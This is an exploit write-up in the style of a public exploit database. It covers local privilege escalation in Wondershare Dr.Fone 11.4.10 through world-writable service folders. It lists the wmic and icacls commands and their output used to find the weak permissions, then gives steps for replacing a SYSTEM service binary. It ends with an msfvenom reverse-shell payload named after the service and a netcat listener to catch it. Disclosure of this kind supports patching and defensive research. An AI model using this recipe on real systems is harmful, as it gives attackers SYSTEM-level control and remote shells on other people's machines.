Wondershare Dr.Fone 11.4.10 – Insecure File Permissions
# Exploit Title: Wondershare Dr.Fone 11.4.10 - Insecure File Permissions # Date: 04/25/2022 # Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec) # Vendor Homepage: https://drfone.wondershare.com/ # Software Link: https://download.wondershare.com/drfone_full3360.exe # Version: 11.4.10 # Tested on: Windows 10 64-bit # Note: The application folder "Wondershare Dr.Fone" may be different (e.g it will be "drfone" if we download the installer from the italian website) # Description: The application "Wondershare Dr. Fone" comes with 3 services: 1. DFWSIDService 2. ElevationService 3. Wondershare InstallAssist All the folders that contain the binaries for the services have weak permissions. These weak permissions allow any authenticated user to get SYSTEM privileges. First, we need to check if services are running using the following command: wmic service get name,displayname,pathname,startmode,startname,state | findstr /I wondershare Wondershare WSID help DFWSIDService C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\WsidService.exe Auto LocalSystem Running Wondershare Driver Install Service help ElevationService C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\Addins\SocialApps\ElevationService.exe Auto LocalSystem Running Wondershare Install Assist Service Wondershare InstallAssist C:\ProgramData\Wondershare\Service\InstallAssistService.exe Auto LocalSystem Running Now we need to check if we have enough privileges to replace the binaries: icacls "C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone" Everyone:(OI)(CI)(F) <= the first row tells us that Everyone has Full Access (F) on files (OI = Object Inherit) and folders (CI = Container Inherit) ... icacls "C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\Addins\SocialApps" Everyone:(I)(OI)(CI)(F) <= same here ... icacls "C:\ProgramData\Wondershare\Service" Everyone:(I)(OI)(CI)(F) <= and here ... # Proof of Concept: 1. Create an exe file with the name of the binary we want to replace (e.g. WsidService.exe if we want to exploit the service "Wondershare WSID help") 2. Put it in the folder (e.g. C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\) 3. After replacing the binary, wait the next reboot (unless the service can be restarted manually) As a proof of concept we can generate a simple reverse shell using msfvenom, and use netcat as the listener: simple payload: msfvenom --payload windows/shell_reverse_tcp LHOST=<YOUR_IP_ADDRESS> LPORT=<YOUR_PORT> -f exe > WsidService.exe listener: nc -nlvp <YOUR_PORT> |